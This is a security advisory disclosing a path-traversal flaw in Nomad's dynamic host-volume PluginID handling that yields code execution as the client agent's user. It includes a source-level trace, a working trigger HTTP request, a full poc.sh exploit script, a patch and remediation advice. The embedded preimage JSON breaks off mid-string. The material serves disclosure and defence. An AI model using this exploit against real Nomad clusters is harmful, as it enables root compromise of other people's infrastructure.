ANT-2026-CN7KX43N · nomad
path-traversal critical
Severity Claude critical · Security research firm critical · Maintainer -
Discovered by Claude Mythos Preview
Anthropic's analysis, sealed at approval. Disclosure to the maintainer was performed by Doyensec.
ANT-2026-CN7KX43N: nomad: path-traversal at client/hostvolumemanager/host_volume_plugin.go:229
check.sh tests a real invariant. /flag/pwned is deleted by setup.sh:20 and written only by /tmp/nomad-poc/evil.sh (setup.sh:29-34), which lives outside the client's plugin dir (/tmp/nomad-data/host_volume_plugins). Nothing in poc.sh executes it directly. If /flag/pwned exists after poc.sh, the Nomad client agent executed an out-of-plugin-dir binary — exactly the security invariant the plugin directory is supposed to enforce. Not a self-fulfilling harness check.
Target
Project: nomad
Location: client/hostvolumemanager/host_volume_plugin.go:229
Technical Details
check.sh tests a real invariant. /flag/pwned is deleted by setup.sh:20 and written only by /tmp/nomad-poc/evil.sh (setup.sh:29-34), which lives outside the client's plugin dir (/tmp/nomad-data/host_volume_plugins). Nothing in poc.sh executes it directly. If /flag/pwned exists after poc.sh, the Nomad client agent executed an out-of-plugin-dir binary — exactly the security invariant the plugin directory is supposed to enforce. Not a self-fulfilling harness check.
Reproduced end-to-end via the real wire protocol (no internal function calls, no test harness):
pre check.sh → 0
poc : PUT /v1/volume/host/create (limited token) → 200, {"PluginID":"../../../../../../../tmp/nomad-poc/evil.sh",...}
post check.sh → 1 ("VIOLATED: /flag/pwned exists")
Sanity gates in poc.sh confirmed the limited token is truly limited: GET /v1/acl/tokens → 403, PUT /v1/volume/host/register → 403.
Backwards trace, attacker-controlled PluginID → exec():
PUT /v1/volume/host/create→hostVolumeCreate— command/agent/host_volume_endpoint.go:47-54, 112-128.decodeBodyunmarshals the full JSON body intoHostVolumeCreateRequest;Volume.PluginIDis attacker-supplied verbatim. Callss.agent.RPC("HostVolume.Create", ...).- Server RPC
HostVolume.Create— nomad/host_volume_endpoint.go:183-290. - ACL gate at :206/:220 =
acl.NamespaceValidator(acl.NamespaceCapabilityHostVolumeCreate)— onlyhost-volume-createin the volume's namespace is required. validateVolumeUpdate→HostVolume.Validate()— nomad/structs/host_volumes.go:133-171 — checks ID/Name/capacity/capabilities/constraints; never inspectsPluginID.placeHostVolume()— nomad/host_volume_endpoint.go:523-534 — whenvol.NodeID != ""(attacker sets it; needs onlynode:readto learn one), it early-returns. This skips the only server-side plugin-existence gate at :561-564 (the${attr.plugins.host_volume.<PluginID>.version} is_setconstraint that would otherwise reject a never-fingerprinted traversal path).createVolume()— nomad/host_volume_endpoint.go:466-480 — copiesvol.PluginIDunmodified intocstructs.ClientHostVolumeCreateRequestand fires server→client RPCClientHostVolume.Create.- Client RPC
HostVolume.Create— client/host_volume_endpoint.go:25-43 →c.hostVolumeManager.Create(ctx, req). HostVolumeManager.Create— client/hostvolumemanager/host_volumes.go:89-150 →hvm.getPlugin(req.PluginID)at :94.getPlugin— host_volumes.go:231-237 — not a builtin →NewHostVolumePluginExternal(log, hvm.pluginDir, id, hvm.volumesDir, hvm.nodePool)withid == attacker PluginID.- Sink construction — client/hostvolumemanager/host_volume_plugin.go:224-248 —
executable := filepath.Join(pluginDir, filename)at :229.filepath.Joincleans.., sopluginDir + "../../../../tmp/nomad-poc/evil.sh"normalizes outsidepluginDir. Nofilepath.Rel/strings.HasPrefix/filepath.IsLocalconfinement. Only checks:os.Statexists +helper.IsExecutable(exec bit set). plug.Create()(:321) →p.runPlugin(ctx, log, "create", env)→exec.CommandContext(ctx, p.Executable, op)at host_volume_plugin.go:435 — arbitrary binary executed as the Nomad client process user.
Minimal real-input reachability proof (single HTTP request with a token holding only namespace host-volume-create + node:read):
PUT /v1/volume/host/create HTTP/1.1
Host: <nomad-server>:4646
X-Nomad-Token: <limited-token>
Content-Type: application/json
{"Volume":{"Name":"x","Namespace":"default","NodeID":"<any-ready-node-id>",
"PluginID":"../../../../../../../path/to/executable/on/that/node"}}
No non-default server/client config is required (dynamic host volumes are core in ≥1.10; ACLs are the recommended production posture and make the boundary more meaningful, not less).
REACHABLE
The triggering bytes (Volume.PluginID, Volume.NodeID) are supplied over
Reproduction
Reproduce against the target as described under Technical Details.
[No reproducer or sanitizer output attached — request from cvd@anthropic.com if needed.]
Acknowledgement
This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by the Anthropic security team in collaboration with Anthropic Research. Please direct questions to security-cvd@anthropic.com and reference ANT-2026-CN7KX43N.
Reference: ANT-2026-CN7KX43N
Anthropic CVD Policy: https://anthropic.com/security/cvd-policy
Triage and disclosure were performed by Doyensec. The writeup below is the document the firm sent to the maintainer.
- Verdict
- true positive
- Severity
- critical
Vulnerability Header
| Field | Value |
|---|---|
| Vulnerability Title | Path Traversal in Dynamic Host Volume PluginID Yields Code Execution on Cluster Clients |
| Severity Rating | High |
| Bug Category | Path Traversal |
| Location | client/hostvolumemanager/host_volume_plugin.go:229, NewHostVolumePluginExternal() |
| Affected Versions | v2.0.0 (commit 7a90601f4d9bc473718311fe5167c0c1f66500ba). Dynamic host volumes are a core feature in versions ≥ 1.10, so older releases on the same code path are likely affected as well. |
Executive Summary
Nomad's dynamic host-volume subsystem accepts the volume's PluginID from the API caller and passes it verbatim to the client agent, which constructs the plugin executable path with filepath.Join(pluginDir, pluginID). filepath.Join cleans .. segments, so a PluginID containing path-traversal sequences resolves to a file outside the plugin directory. The client then invokes that file via exec.CommandContext and the absence of any path-confinement check (filepath.Rel, HasPrefix, IsLocal) is the missing safeguard.
Two server-side gates exist that should have caught the malicious input but do not. HostVolume.Validate() does not inspect PluginID, and the only server-side plugin-existence check — a constraint that requires the target node to have fingerprinted the plugin — is short-circuited when the request specifies NodeID directly. The result: a token holding only host-volume-create on a single namespace plus node:read (the routine delegation given to namespace tenants) can cause the Nomad client agent to execute an arbitrary on-disk binary on any node in the cluster, with the op argument fixed at "create" and a closed set of attacker-influenced environment variables.
Code execution as root requires the attacker to also have an executable file at a known path on the target client node. The bug itself does not provide that primitive; on most production deployments, however, the same tenants who already hold host-volume-create also hold submit-job, which gives them a straightforward way to drop a file via a Nomad task. The combined chain therefore yields low-privilege tenant → root code execution on any client node — but the second step is a separate, deployment-dependent privilege rather than something the bug grants on its own. The standalone bug is rated High; the realistic combined exploitation against a multi-tenant cluster reaches Critical.
Root Cause Analysis
Technical Description
The attack chain spans the HTTP API, the server RPC, and the client RPC. Attacker-supplied Volume.PluginID flows unmodified from JSON body to exec.CommandContext.
1. HTTP entry decodes the request body verbatim.
// command/agent/host_volume_endpoint.go:112-128
func (s *HTTPServer) hostVolumeCreate(resp http.ResponseWriter, req *http.Request) (any, error) {
args := structs.HostVolumeCreateRequest{}
if err := decodeBody(req, &args); err != nil {
return err, CodedError(400, err.Error())
}
s.parseWriteRequest(req, &args.WriteRequest)
var out structs.HostVolumeCreateResponse
if err := s.agent.RPC("HostVolume.Create", &args, &out); err != nil {
return nil, err
}
setIndex(resp, out.Index)
return &out, nil
}
Volume.PluginID is unmarshalled directly into the request struct.
2. Server RPC HostVolume.Create performs a namespace-scoped ACL check, then validation that ignores PluginID.
The ACL check at nomad/host_volume_endpoint.go:206,220 is acl.NamespaceValidator(acl.NamespaceCapabilityHostVolumeCreate) — only host-volume-create on the volume's namespace is required. The validation step validateVolumeUpdate calls HostVolume.Validate() (nomad/structs/host_volumes.go:133-171), which checks ID/Name/capacity/capabilities/constraints but never inspects PluginID.
3. The plugin-existence constraint is bypassed when NodeID is supplied.
placeHostVolume() is the only place that would reject a non-fingerprinted plugin:
// nomad/host_volume_endpoint.go:523-534
func (v *HostVolume) placeHostVolume(snap *state.StateSnapshot, vol *structs.HostVolume) (*structs.Node, error) {
if vol.NodeID != "" {
node, err := snap.NodeByID(nil, vol.NodeID)
// ...
vol.NodePool = node.NodePool
return node, nil // <-- early return, skips constraint check below
}
// ...
constraints := []*structs.Constraint{{
LTarget: fmt.Sprintf("${attr.plugins.host_volume.%s.version}", vol.PluginID),
Operand: "is_set",
}}
// ...
}
When the caller sets NodeID (which a holder of node:read can readily obtain via GET /v1/nodes), the function returns immediately, skipping the ${attr.plugins.host_volume.<PluginID>.version} is_set constraint at :561-564 that would otherwise reject any PluginID not fingerprinted by the node.
4. The server forwards PluginID unmodified to the client.
createVolume (nomad/host_volume_endpoint.go:466-480) copies the field into cstructs.ClientHostVolumeCreateRequest{PluginID: vol.PluginID, ...} and dispatches ClientHostVolume.Create.
5. The client looks up the plugin by ID.
HostVolumeManager.Create (client/hostvolumemanager/host_volumes.go:89-150) calls hvm.getPlugin(req.PluginID) at line 94. getPlugin (:231-237) does not match the supplied ID against any built-in plugin, so it falls through to the external-plugin constructor:
// client/hostvolumemanager/host_volumes.go:231-237
func (hvm *HostVolumeManager) getPlugin(id string) (HostVolumePlugin, error) {
if plug, ok := hvm.builtIns[id]; ok {
return plug, nil
}
log := hvm.log.With("plugin_id", id)
return NewHostVolumePluginExternal(log, hvm.pluginDir, id, hvm.volumesDir, hvm.nodePool)
}
6. The sink: unbounded filepath.Join.
// client/hostvolumemanager/host_volume_plugin.go:224-248
func NewHostVolumePluginExternal(log hclog.Logger,
pluginDir, filename, volumesDir, nodePool string) (*HostVolumePluginExternal, error) {
executable := filepath.Join(pluginDir, filename)
f, err := os.Stat(executable)
if err != nil {
if os.IsNotExist(err) {
return nil, fmt.Errorf("%w: %q", ErrPluginNotExists, filename)
}
return nil, err
}
if !helper.IsExecutable(f) {
return nil, fmt.Errorf("%w: %q", ErrPluginNotExecutable, filename)
}
return &HostVolumePluginExternal{ID: filename, Executable: executable, ...}, nil
}
filepath.Join invokes path/filepath.Clean, which collapses .. segments. With pluginDir = "/opt/nomad/host_volume_plugins" and filename = "../../../../tmp/evil.sh", the result is /tmp/evil.sh — entirely outside the plugin directory. The only post-resolution checks are os.Stat (existence) and helper.IsExecutable (executable bit). There is no filepath.Rel / strings.HasPrefix / filepath.IsLocal check that would refuse the resolved path if it falls outside pluginDir.
7. Execution.
// client/hostvolumemanager/host_volume_plugin.go:435
cmd := exec.CommandContext(ctx, p.Executable, op)
cmd.Env = env
The resolved path is invoked with op = "create" and an environment that includes attacker-controlled VOLUME_NAME, VOLUME_ID, NAMESPACE, NODE_ID, and the JSON-marshalled PARAMETERS map (host_volume_plugin.go:329-342).
First Faulty Condition
| File | client/hostvolumemanager/host_volume_plugin.go |
|---|---|
| Line | 229 |
| Condition | filepath.Join(pluginDir, filename) is used to compose the plugin executable path with no confinement check. filepath.Join cleans .. segments, so an attacker-supplied filename containing path-traversal sequences resolves to a file outside pluginDir. The function relies on os.Stat and helper.IsExecutable as its only post-resolution checks; neither restricts the path to the plugin directory. |
Trace Analysis
Attacker-controlled bytes (HTTP body) → root code execution on the client node:
command/agent/host_volume_endpoint.go:112-128—hostVolumeCreatedecodes the JSON body intoHostVolumeCreateRequest.Volume.PluginIDis preserved verbatim.nomad/host_volume_endpoint.go:206,220— ACL gate isNamespaceCapabilityHostVolumeCreate; only namespace-scoped write is required.nomad/structs/host_volumes.go:133-171—Validate()does not inspectPluginID.nomad/host_volume_endpoint.go:523-534—placeHostVolumeearly-returns whenvol.NodeID != "", bypassing the constraint at:561-564that would reject non-fingerprinted plugins.nomad/host_volume_endpoint.go:466-480—createVolumedispatchesClientHostVolume.Createwith the unmodifiedPluginID.client/host_volume_endpoint.go:25-43— Client RPC handler invokeshostVolumeManager.Create.client/hostvolumemanager/host_volumes.go:94, 231-237—getPlugin(req.PluginID)falls through toNewHostVolumePluginExternalfor non-builtin IDs.client/hostvolumemanager/host_volume_plugin.go:229— Sink construction:filepath.Join(pluginDir, filename)resolves outside the plugin directory.client/hostvolumemanager/host_volume_plugin.go:435—exec.CommandContext(ctx, p.Executable, "create")executes the resolved binary with attacker-influenced environment.
Exploitability Assessment
Attack Vector & Reachability
| Attack vector | Network. |
|---|---|
| Authentication required | Low. Any ACL token holding the host-volume-create namespace capability on one namespace plus a node policy of read. This is the routine delegation given to namespace tenants. |
| User interaction required | None. |
| Reachable in default config | Yes. |
| Entry point(s) | PUT /v1/volume/host/create with attacker-supplied Volume.PluginID containing .. sequences and Volume.NodeID set to any node ID learned via GET /v1/nodes. |
Impact
The bug is rated High as a standalone primitive and Critical when combined with the routine adjacent privilege of Nomad job submission. The two layers are described separately below.
What the bug grants on its own. The Nomad client agent invokes an attacker-chosen on-disk path as <binary> "create" with the agent's process UID — typically root in production. The environment is replaced with a closed set of variables (OPERATION, VOLUMES_DIR, PLUGIN_DIR, NODE_POOL, NAMESPACE, VOLUME_NAME, VOLUME_ID, CAPACITY_MIN, CAPACITY_MAX, NODE_ID, PARAMETERS); PATH, LD_PRELOAD, LD_LIBRARY_PATH, and other inherited variables are not present. Standalone, this is a path-traversal-to-execute primitive with constrained argv and env, which by itself is enough to:
- Bypass the plugin-directory invariant that the host-volume subsystem documents — any executable on disk becomes addressable by an attacker with the namespace-scoped
host-volume-createcapability. - Cross the namespace boundary for impact: a tenant whose token is scoped to one namespace can pick any client node (
NodeIDis attacker-supplied), so the blast radius is the entire data plane, not just the tenant's namespace. - Run uid=0 binaries that happen to react meaningfully to argv
createand to the controlled env-var names. Most stock system binaries (/bin/sh,/usr/bin/python3,/bin/bash, etc.) treatcreateas a missing script and exit cleanly; the standalone primitive is therefore mostly defanged unless the deployment ships a binary that does react to that argument shape.
What turns it into root RCE. To execute attacker-controlled code as root, the attacker also needs a file they placed at a known path on the target client node. The bug does not grant that primitive — it requires either:
- The
submit-jobcapability on a namespace (the routine adjacent privilege given to tenants in multi-tenant clusters). A submitted task can write a payload to a host path the node persists, e.g. via a host-volume mount or any task workspace that survives the alloc; the path-traversal then invokes that payload as root. - Prior compromise of any account that can drop a file onto the client node (operator scripts, supply-chain artefacts, container images that bind-mount host paths).
In multi-tenant deployments the first vector is effectively free: tenants who hold host-volume-create almost always also hold submit-job on the same namespace, because both are part of the same "self-service workload management" delegation. Against such clusters the bug behaves as Critical: low-privilege tenant token → root code execution on any client node, with no second vulnerability required. Against single-tenant deployments where the attacker has no other Nomad capabilities and no foothold on the host, the bug remains High but is materially harder to weaponise.
Verified Impact
The Critical-tier combined chain was reproduced end-to-end on a default-configured combined server+client agent running as root. The payload file was placed by hand on the host (simulating the submit-job-then-write-to-host primitive that a multi-tenant attacker would have available); the rest of the chain — token, request, RCE-as-root — is entirely the bug under test.
- A token holding only
namespace "default" { capabilities = ["host-volume-create"] }andnode { policy = "read" }was issued vianomad acl token create. - Sanity gates confirmed the token is genuinely low-privilege:
GET /v1/acl/tokensandPUT /v1/volume/host/registerboth returned HTTP 403 with that token. - A single
PUT /v1/volume/host/createrequest withPluginID = "../../../../../../../tmp/evil.sh"and aNodeIDlearned fromGET /v1/nodesreturned HTTP 200 and committed the volume to Raft (X-Nomad-Index: 181). - The marker file written by
/tmp/evil.shreportedran-by-uid=0 gid=0 user=root pid=47853andargv: /tmp/evil.sh create. The marker file itself was owned byroot:root, confirming that the Nomad client agent — not the attacker's shell — performed the execution. - The supplied patch (
diff.patch) was then applied and the binaries rebuilt. The same trigger request now returns an error referencingplugin id must be a local filename, not a pathand/tmp/PWNEDis not created, confirming the fix closes the bug.
Reproduction Steps
Environment
| OS / version | Ubuntu 24.04 LTS |
|---|---|
| Target version / commit | Nomad v2.0.0 (commit 7a90601f4d9bc473718311fe5167c0c1f66500ba) |
| Configuration | Single combined-mode server+client agent with ACLs enabled and bootstrapped, host_volume_plugin_dir = "/opt/nomad/host_volume_plugins", agent process running as root. |
Steps
# Run the bundled PoC. MGMT must be set to a Nomad management token (the
# bootstrap token is fine); the script does the rest — plants the payload,
# sanity-checks ACL enforcement, mints a low-privilege token, fires the
# trigger request, and verifies /tmp/PWNED was written.
NOMAD_HTTP=http://127.0.0.1:4646 \
MGMT=<management-token> \
./poc.sh
PoC files
poc.sh— driver. Plants/tmp/evil.sh(a payload that records the executor's uid/gid and the env vars Nomad passes), confirms/v1/volume/host/createreturns 403 without a token, creates an ACL policy + token holding onlyhost-volume-createon thedefaultnamespace plusnode:read, sanity-checks that the limited token is rejected by sibling endpoints, then issuesPUT /v1/volume/host/createwithPluginID="../../../../../../../tmp/evil.sh"and aNodeIDlearned vianode:read. Finally it inspects/tmp/PWNEDand reports whether the executor ran withuid=0.
Expected outcome
| Check | Expected |
|---|---|
/v1/volume/host/create without a token |
HTTP 403 — confirms ACLs are enforcing on this endpoint. |
GET /v1/acl/tokens with the limited token |
HTTP 403 — the attacker token cannot list ACL tokens. |
PUT /v1/volume/host/register with the limited token |
HTTP 403 — sibling write endpoint is correctly gated by an additional capability the attacker does not hold. |
/v1/volume/host/create with the limited token and a path-traversal PluginID |
HTTP 200; response body echoes back the malicious PluginID and the volume is committed to Raft. |
/tmp/PWNED exists and is root-owned; /tmp/PWNED.log reports ran-by-uid=0 |
The Nomad client agent invoked an executable located outside host_volume_plugin_dir, as root. |
The contrast between the 403s and the successful trigger isolates the bug to the missing path-confinement check — the ACL boundary is intact; the boundary that fails is the plugin-directory invariant.
Recommended Fix
-
Primary fix — confine the resolved path to
pluginDir. InNewHostVolumePluginExternal(client/hostvolumemanager/host_volume_plugin.go:224-248), after computingexecutable := filepath.Join(pluginDir, filename), refuse to proceed if the result escapespluginDir. The standard Go idiom isfilepath.Rel(pluginDir, executable)followed by a check that the result does not start with..or contain/..; in modern Go (≥1.20)filepath.IsLocal(filename)is the more concise check on the unresolved input. Either approach turns a path-traversalPluginIDinto an immediate boot-time error rather than a sink invocation. -
Defence in depth — validate
PluginIDserver-side. RejectVolume.PluginIDvalues that contain..,/, or\at the API boundary (HostVolume.Validate()innomad/structs/host_volumes.go). A plugin ID is a logical name, not a path; the server has no legitimate reason to accept separators or relative components in this field. A regex like^[a-zA-Z0-9_-]+$matches Nomad's documented plugin-ID convention and stops the malicious input at the entry point. -
Defence in depth — do not skip the plugin-existence constraint when
NodeIDis supplied.placeHostVolumeshort-circuits the${attr.plugins.host_volume.<id>.version} is_setconstraint when the caller pre-selects a node. Apply the same constraint check in the early-return branch so a never-fingerprinted plugin ID is rejected regardless of placement strategy. This converts the "place-by-NodeID" path from a bypass into another defence layer. -
Operational guidance. The agent already logs the resolved executable path on plugin loads. Surfacing this prominently — for example, including the resolved absolute path and a "outside
host_volume_plugin_dir" annotation in theWARNline — would help operators detect this class of misuse during incident review.
Patch provenance: AI-generated + Human-reviewed
References
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory ("Path Traversal") — https://cwe.mitre.org/data/definitions/22.html
- CWE-78: Improper Neutralization of Special Elements used in an OS Command — https://cwe.mitre.org/data/definitions/78.html
- CWE-863: Incorrect Authorization — https://cwe.mitre.org/data/definitions/863.html
- Go
path/filepath.IsLocal— https://pkg.go.dev/path/filepath#IsLocal
Attribution
This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by Adrian Denkiewicz at Doyensec in collaboration with Anthropic Research.
For CVE credits and public acknowledgments: Doyensec in collaboration with Claude and Anthropic Research
Attachment: diff.patch
diff --git a/client/hostvolumemanager/host_volume_plugin.go b/client/hostvolumemanager/host_volume_plugin.go
index 6a0fa65a2f..d4daf21192 100644
--- a/client/hostvolumemanager/host_volume_plugin.go
+++ b/client/hostvolumemanager/host_volume_plugin.go
@@ -14,6 +14,7 @@ import (
"path/filepath"
"runtime"
"strconv"
+ "strings"
"time"
"github.com/hashicorp/go-hclog"
@@ -223,10 +224,35 @@ var _ HostVolumePlugin = &HostVolumePluginExternal{}
// if the specified executable exists on disk.
func NewHostVolumePluginExternal(log hclog.Logger,
pluginDir, filename, volumesDir, nodePool string) (*HostVolumePluginExternal, error) {
+ // Refuse plugin IDs that are not a single local path component. A plugin
+ // ID is a logical name; values containing ".." or path separators would
+ // allow filepath.Join below to escape pluginDir and resolve to an
+ // arbitrary on-disk executable.
+ if !filepath.IsLocal(filename) {
+ return nil, fmt.Errorf("%w: %q", ErrPluginIDNotLocal, filename)
+ }
+
// this should only be called with already-detected executables,
// but we'll double-check it anyway, so we can provide a tidy error message
// if it has changed between fingerprinting and execution.
executable := filepath.Join(pluginDir, filename)
+
+ // Defence in depth: even with IsLocal above, confirm that the resolved
+ // path is contained in pluginDir. Refuse any input where filepath.Join
+ // produces a path outside the plugin directory.
+ absPluginDir, err := filepath.Abs(pluginDir)
+ if err != nil {
+ return nil, fmt.Errorf("resolving plugin directory: %w", err)
+ }
+ absExecutable, err := filepath.Abs(executable)
+ if err != nil {
+ return nil, fmt.Errorf("resolving plugin executable path: %w", err)
+ }
+ rel, err := filepath.Rel(absPluginDir, absExecutable)
+ if err != nil || rel == ".." || strings.HasPrefix(rel, ".."+string(filepath.Separator)) {
+ return nil, fmt.Errorf("%w: %q", ErrPluginIDNotLocal, filename)
+ }
+
f, err := os.Stat(executable)
if err != nil {
if os.IsNotExist(err) {
diff --git a/client/hostvolumemanager/host_volumes.go b/client/hostvolumemanager/host_volumes.go
index e8b0272b9e..d3ac38c760 100644
--- a/client/hostvolumemanager/host_volumes.go
+++ b/client/hostvolumemanager/host_volumes.go
@@ -20,6 +20,7 @@ import (
var (
ErrPluginNotExists = errors.New("no such plugin")
ErrPluginNotExecutable = errors.New("plugin not executable")
+ ErrPluginIDNotLocal = errors.New("plugin id must be a local filename, not a path")
ErrVolumeNameExists = errors.New("volume name already exists on this node")
)
Attachment: poc.sh.txt
#!/usr/bin/env bash
#
# poc.sh — exploit the host-volume PluginID path-traversal to make the Nomad
# client agent execute an arbitrary on-disk binary as its process user
# (typically root in production).
#
# Steps performed:
# 1. Plant a payload script at /tmp/evil.sh that records the executor's
# uid/gid and the env vars Nomad passes.
# 2. Sanity: confirm ACLs are enforcing on /v1/volume/host/create (no token
# → 403) and that we have a working management token.
# 3. Create (or refresh) a low-privilege ACL policy and token holding
# only `host-volume-create` on the default namespace plus `node:read`.
# 4. Sanity: confirm the limited token is genuinely limited
# (GET /v1/acl/tokens → 403, PUT /v1/volume/host/register → 403).
# 5. Trigger the bug with `PluginID = "../../../../../../../tmp/evil.sh"`
# and a NodeID learned via `node:read`.
# 6. Verify /tmp/PWNED was created and report the executor uid.
#
# Required environment:
# NOMAD_HTTP : Nomad HTTP API base URL (default: http://127.0.0.1:4646)
# MGMT : Nomad management token (required; bootstrap token is fine)
#
# Cleanup is left to the caller. /tmp/PWNED and /tmp/PWNED.log are typically
# owned by root after a successful run; remove with `sudo rm -f /tmp/PWNED*`.
set -euo pipefail
NOMAD_HTTP="${NOMAD_HTTP:-http://127.0.0.1:4646}"
MGMT="${MGMT:-${NOMAD_TOKEN:-}}"
if [ -z "${MGMT:-}" ]; then
echo "[-] MGMT (or NOMAD_TOKEN) must be set to a Nomad management token." >&2
exit 2
fi
command -v curl >/dev/null || { echo "[-] curl required"; exit 2; }
command -v jq >/dev/null || { echo "[-] jq required"; exit 2; }
command -v nomad >/dev/null || { echo "[-] nomad CLI required"; exit 2; }
echo "[*] target: $NOMAD_HTTP"
echo
# ---------------------------------------------------------------------------
# 1. Plant the payload outside the plugin directory.
# ---------------------------------------------------------------------------
sudo rm -f /tmp/PWNED /tmp/PWNED.log
cat > /tmp/evil.sh <<'EOF'
#!/bin/bash
touch /tmp/PWNED
{
echo "ran-by-uid=$(id -u) gid=$(id -g) user=$(id -un) pid=$$"
echo "argv: $0 $*"
echo
echo "--- env vars Nomad passed ---"
env | sort
} > /tmp/PWNED.log 2>&1
# Plugin "create" protocol: respond with valid JSON so Nomad doesn't error.
echo '{"path":"/tmp/evil-vol","bytes":0}'
EOF
chmod +x /tmp/evil.sh
echo "[+] planted /tmp/evil.sh"
# ---------------------------------------------------------------------------
# 2. Sanity: endpoint requires a token at all.
# ---------------------------------------------------------------------------
HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
-X PUT "$NOMAD_HTTP/v1/volume/host/create" \
-d '{"Volume":{"Name":"x","Namespace":"default"}}')
echo "[*] PUT /v1/volume/host/create (no token) → HTTP $HTTP_CODE"
if [ "$HTTP_CODE" != "403" ]; then
echo "[!] expected 403; ACLs may not be enabled. Continuing anyway."
fi
# ---------------------------------------------------------------------------
# 3. Low-privilege ACL policy + token.
# ---------------------------------------------------------------------------
POLICY_FILE=$(mktemp /tmp/limited-policy.XXXX.hcl)
cat > "$POLICY_FILE" <<'EOF'
namespace "default" { capabilities = ["host-volume-create"] }
node { policy = "read" }
EOF
NOMAD_TOKEN=$MGMT nomad acl policy apply limited "$POLICY_FILE" >/dev/null
LIMITED=$(NOMAD_TOKEN=$MGMT nomad acl token create \
-name=limited -policy=limited -type=client -json \
| jq -r '.SecretID')
rm -f "$POLICY_FILE"
if [ -z "$LIMITED" ] || [ "$LIMITED" = "null" ]; then
echo "[-] failed to mint the limited token" >&2
exit 1
fi
echo "[+] minted limited token: $LIMITED"
# ---------------------------------------------------------------------------
# 4. Sanity: the limited token is genuinely low-privilege.
# ---------------------------------------------------------------------------
A=$(curl -s -o /dev/null -w "%{http_code}" \
-H "X-Nomad-Token: $LIMITED" "$NOMAD_HTTP/v1/acl/tokens")
B=$(curl -s -o /dev/null -w "%{http_code}" \
-H "X-Nomad-Token: $LIMITED" -X PUT \
"$NOMAD_HTTP/v1/volume/host/register" \
-d '{"Volume":{"Name":"x","Namespace":"default"}}')
echo "[*] GET /v1/acl/tokens (limited) → HTTP $A"
echo "[*] PUT /v1/volume/host/register (limited) → HTTP $B"
if [ "$A" != "403" ] || [ "$B" != "403" ]; then
echo "[!] expected 403 on both; the token may be stronger than intended."
fi
# ---------------------------------------------------------------------------
# 5. Trigger the bug.
# ---------------------------------------------------------------------------
NODE=$(NOMAD_TOKEN=$MGMT nomad node status -json | jq -r '.[0].ID')
if [ -z "$NODE" ] || [ "$NODE" = "null" ]; then
echo "[-] no Nomad client node available" >&2
exit 1
fi
echo "[*] target NodeID: $NODE"
PAYLOAD=$(jq -nc --arg node "$NODE" --arg pid '../../../../../../../tmp/evil.sh' \
'{Volume:{Name:"poc",Namespace:"default",NodeID:$node,PluginID:$pid}}')
RESPONSE=$(curl -s -w "\nHTTP %{http_code}\n" -X PUT \
-H "X-Nomad-Token: $LIMITED" \
-H "Content-Type: application/json" \
"$NOMAD_HTTP/v1/volume/host/create" \
-d "$PAYLOAD")
echo
echo "$RESPONSE"
echo
# ---------------------------------------------------------------------------
# 6. Verify the security invariant was violated.
# ---------------------------------------------------------------------------
if [ -e /tmp/PWNED ]; then
echo "[+] /tmp/PWNED exists — Nomad client agent executed an out-of-plugin-dir binary."
ls -l /tmp/PWNED
echo
echo "--- /tmp/PWNED.log (first 3 lines) ---"
head -n 3 /tmp/PWNED.log
UID_LINE=$(grep -m1 ran-by-uid /tmp/PWNED.log || true)
if echo "$UID_LINE" | grep -q 'uid=0'; then
echo
echo "[+] uid=0 confirmed: low-privilege ACL token → root code execution."
fi
else
echo "[-] /tmp/PWNED was NOT created."
echo "[-] Either the bug is patched on this build, or a prerequisite step failed."
fi
Dates from discovery through public reveal.
- 2026-04-12 Reported to tracker
- 2026-05-07 Sent to maintainer
- 2026-05-07 Maintainer acknowledged
- 2026-05-07 Patch released
- 2026-05-20 Publicly revealed
SHA-3-512 hash:
f3a842104e12d90649407d9cfb8f18a25de1dbb9f0b7139ce9f9beb561c08d4a2e4b0f109c130805f2421face4266272f28650823d154d76e40d22bf7f3b5c4f
Committed 2026-05-07 00:08 PT
Revealed 2026-05-20 00:40 PT
Verify (download preimage.json)
Show preimage JSON
{
"ant_id": "ANT-2026-CN7KX43N",
"bug_class": "path-traversal",
"claude_severity": "critical",
"commit_sha": null,
"created_at": "2026-04-12T06:11:37+00:00",
"description": "<reachability>\n**check.sh tests a real invariant.** `/flag/pwned` is deleted by `setup.sh:20` and written *only* by `/tmp/nomad-poc/evil.sh` (setup.sh:29-34), which lives outside the client's plugin dir (`/tmp/nomad-data/host_volume_plugins`). Nothing in poc.sh executes it directly. If `/flag/pwned` exists after poc.sh, the Nomad client agent executed an out-of-plugin-dir binary — exactly the security invariant the plugin directory is supposed to enforce. Not a self-fulfilling harness check.",
"discovered_at": null,
"location": "client/hostvolumemanager/host_volume_plugin.go:229",
"poc_sha256": null,
"preimage_version": 1,
"project": "nomad",
"reproduction": null,
"technical_details": "<reachability>\n**check.sh tests a real invariant.** `/flag/pwned` is deleted by `setup.sh:20` and written *only* by `/tmp/nomad-poc/evil.sh` (setup.sh:29-34), which lives outside the client's plugin dir (`/tmp/nomad-data/host_volume_plugins`). Nothing in poc.sh executes it directly. If `/flag/pwned` exists after poc.sh, the Nomad client agent executed an out-of-plugin-dir binary — exactly the security invariant the plugin directory is supposed to enforce. Not a self-fulfilling harness check.\n\n**Reproduced end-to-end via the real wire protocol** (no internal function calls, no test harness):\n```\npre check.sh → 0\npoc : PUT /v1/volume/host/create (limited token) → 200, {\"PluginID\":\"../../../../../../../tmp/nomad-poc/evil.sh\",...}\npost check.sh → 1 (\"VIOLATED: /flag/pwned exists\")\n```\nSanity gates in poc.sh confirmed the limited token is truly limited: `GET /v1/acl/tokens → 403`, `PUT /v1/volume/host/register → 403`.\n\n**Backwards trace, attacker-controlled `PluginID` → `exec()`:**\n\n1. `PUT /v1/volume/host/create` → `hostVolumeCreate` — command/agent/host_volume_endpoint.go:47-54, 112-128. `decodeBody` unmarshals the full JSON body into `HostVolumeCreateRequest`; `Volume.PluginID` is attacker-supplied verbatim. Calls `s.agent.RPC(\"HostVolume.Create\", ...)`.\n2. Server RPC `HostVolume.Create` — nomad/host_volume_endpoint.go:183-290.\n - ACL gate at :206/:220 = `acl.NamespaceValidator(acl.NamespaceCapabilityHostVolumeCreate)` — only `host-volume-create` in the volume's namespace is required.\n - `validateVolumeUpdate` → `HostVolume.Validate()` — nomad/structs/host_volumes.go:133-171 — checks ID/Name/capacity/capabilities/constraints; **never inspects `PluginID`**.\n - `placeHostVolume()` — nomad/host_volume_endpoint.go:523-534 — when `vol.NodeID != 